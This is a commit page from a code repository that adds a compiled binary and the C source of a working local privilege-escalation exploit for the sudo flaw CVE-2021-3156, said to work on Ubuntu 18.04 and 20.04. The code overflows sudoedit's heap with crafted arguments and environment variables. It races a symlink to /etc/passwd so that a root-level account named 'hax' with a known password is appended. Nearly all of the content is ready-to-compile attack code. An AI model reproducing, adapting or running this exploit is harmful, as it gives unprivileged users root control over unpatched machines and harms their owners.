Skip to content

Commit e4f9db1

Browse files
committed
Exploit for CVE-2021-3156
1 parent 9792655 commit e4f9db1

File tree

2 files changed

+102
-0
lines changed

2 files changed

+102
-0
lines changed

CVE-2021-3156/exploit

17.3 KB
Binary file not shown.

CVE-2021-3156/exploit.c

Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
// Exploit by @r4j0x00
2+
// Thanks to cts (@gf_256) for help
3+
// Works on ubuntu 18.04 and 20.04
4+
// gcc exploit.c -o exploit
5+
6+
#include <stdio.h>
7+
#include <string.h>
8+
#include <stdlib.h>
9+
#include <stdint.h>
10+
#include <sys/stat.h>
11+
#include <stdlib.h>
12+
#include <pwd.h>
13+
#define passwd_file "/etc/passwd"
14+
15+
size_t get_passwd_size() {
16+
struct stat st;
17+
stat(passwd_file, &st);
18+
return st.st_size;
19+
}
20+
21+
char * str_repeat(char a, size_t n) {
22+
char * s = malloc(n+1);
23+
for(int i=0;i<n;++i)
24+
s[i] = a;
25+
s[n] = 0;
26+
return s;
27+
}
28+
29+
char * concat(const char * a, const char * b) {
30+
size_t len_a = strlen(a);
31+
size_t len_b = strlen(b);
32+
size_t size = len_a + len_b;
33+
34+
char * s = malloc(size+1);
35+
int i;
36+
37+
for(i=0;i<len_a;++i) s[i] = a[i];
38+
for(i=0;i<len_b;++i) s[len_a+i] = b[i];
39+
s[size] = 0;
40+
return s;
41+
}
42+
43+
char * get_random_string(size_t n) {
44+
const char * charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
45+
srand(time(NULL));
46+
char * s = malloc(n+1);
47+
for(int i=0;i<n;++i) s[i] = charset[rand() % 52];
48+
s[n] = 0;
49+
return s;
50+
}
51+
52+
char * get_user() {
53+
struct passwd *pw;
54+
uint64_t uid;
55+
56+
uid = getuid();
57+
pw = getpwuid(uid);
58+
if(!pw) {
59+
puts("????");
60+
exit(1);
61+
}
62+
63+
return strdup(pw->pw_name);
64+
}
65+
66+
const char * contents = "\n\nhax:$6$q4tutskpH4.ezGv9$/R6eIP3viVO4oIds5WIqZPN5bQYT/Z1w9s6q6jw.6bO3FTohiFD1L1Jk9EhQdLiv1MeZOCF71PB41dTI2eV3C1:0:0:hax:/root:/bin/bash\n\n"; // password: hax
67+
68+
int main(void) {
69+
size_t initial_size = get_passwd_size();
70+
char * basedir_name = get_random_string(0x20);
71+
72+
char * dirname = malloc(0x100);
73+
char * timestamp_file = malloc(0x100);
74+
const char * c = str_repeat('C', 0x10000);
75+
const char * lc = concat("LC_MESSAGES=C.UTF-8@", str_repeat('L', 0xb0));
76+
const char * user = get_user();
77+
78+
for(int i=0;i<0x1000;++i) {
79+
sprintf(dirname, "%s%d", basedir_name, i);
80+
sprintf(timestamp_file, "%s/%s", dirname, user);
81+
char *env[] = {concat(str_repeat('A', 47), dirname) , contents, lc, "SUDO_ASKPASS=/bin/false", c, NULL};
82+
char * a = concat(str_repeat('A', 0xf0),"\\");
83+
char * argv[] = {"/usr/bin/sudoedit", "-A", "-s", a, NULL};
84+
85+
int pid = fork();
86+
if(!pid) {
87+
execve(argv[0], argv, env);
88+
exit(0);
89+
}
90+
91+
usleep(1000);
92+
mkdir(dirname, 0700);
93+
symlink(passwd_file, timestamp_file);
94+
waitpid(pid, 0, 0);
95+
96+
if(get_passwd_size() != initial_size) {
97+
puts("Success!");
98+
exit(0);
99+
}
100+
}
101+
puts("Failed");
102+
}

0 commit comments

Comments
 (0)